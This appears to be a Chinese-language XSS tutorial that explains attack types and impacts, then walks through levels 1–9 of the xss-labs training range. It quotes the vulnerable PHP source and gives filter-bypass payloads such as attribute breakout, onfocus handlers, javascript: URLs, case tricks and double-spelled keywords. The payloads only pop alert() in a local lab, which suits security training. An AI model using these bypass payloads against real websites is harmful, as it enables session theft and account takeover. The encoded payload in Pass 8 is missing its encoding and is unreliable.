目录
xss漏洞
- 全称:跨站脚本攻击(Cross-Site Scripting),缩写为XSS(避免与CSS混淆)。
- 原理:攻击者向网页中注入恶意脚本,当其他用户访问时,脚本在其浏览器中执行,从而窃取信息或进行其他攻击。
攻击类型
反射型XSS(非持久型):
- 触发方式:恶意脚本通过URL参数传递,服务器直接返回包含脚本的页面。
- 特点:需诱导用户点击恶意链接。
存储型XSS(持久型):
- 触发方式:恶意脚本被保存到服务器(如数据库),用户访问正常页面时触发。
- 特点:危害范围广,长期存在。
DOM型XSS:
- 触发方式:完全在客户端处理,通过JavaScript操作DOM时引入恶意代码。
- 特点:不经过服务器,难以检测。
危害分析
- 会话劫持:窃取Cookie或Session ID,冒充用户身份。
- 钓鱼攻击:伪造登录表单,诱导用户输入敏感信息。
- 键盘记录:监控用户输入,窃取密码等数据。
- 网页篡改:修改页面内容,传播恶意信息。
靶场搭建
xss-labs下载地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台
将下载的文件解压然后放在xp的www的目录下
Pass1:基础注入
查看网站源码,可以发现get传参name的值test插入了html里头,还回显了payload的长度
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
插入一段js代码,get传参
url?name=<script>alert()</script>
Pass2:输入框注入
尝试注入
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
htmlspecialchars($str):进行了html实体转化
"><script>alert('aaa')</script><"
Pass3:事件注入
尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
看一下源码,果然被实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过
onfocus
事件是前端开发中用于处理元素获得焦点的常用事件。当用户通过点击、键盘(如 Tab
键)或代码(如 element.focus()
)使某个元素成为当前操作焦点时,该事件会被触发。
所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的
' onfocus=javascript:alert() '
此时再点击这个input框,使其获得焦点,触发onfocus
事件
Pass4:引号类型
使用上一关的结果进行注入,尝试失败
分析源码,发现外围是双引号,双包单了,不符合javascript 的onfocus事件绑定
切换payload为双引号即可
" onfocus=javascript:alert() "
Pass5:a标签注入
使用上一关的结果进行注入,尝试失败
查看源码
这里on被替换成了o_n,过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法
添加一个标签得闭合前面的标签,尝试注入
"><a href="javascript:alert();">xx</a><"
Pass6(大小写绕过)
使用上一关的结果进行注入,尝试失败
href变成hr_ef,查看源码,发现过滤了好多,看看大小写能不能绕过
OnFocus <sCriPt> <a hReF=javascript:alert()>
发现大小写没有被过滤
//第一种,脚本注入
" ><SCRIPT>alert()</SCRIPT>< "
//第二种,焦点事件
" ONDOCUS=javascript:alert() "
//a标签href属性的
"> <a HREF=javascript:alert()>x</a> <"
Pass7(双拼写)
老规矩,注入
查看源码不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过,
- 比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
- 比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
" ><sscriptcript>alert()</sscriptcript>< "
Pass8(Unicode编码)
老规矩
javascript:alert()
失败,查看源码发现对字符进行了强行转换,而且使用了强制小写字母
但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
javascript:alert()
利用在线工具进行Unicode编码后得到,在线Unicode编码解码
javascript:alert()
然后点击友情链接
Pass9(指定字符绕过)
不想写了
查看源码
当传入的参数不包含"http://"
时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://"
,并将其作为注释
,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。
javascript:alert()/* http:// */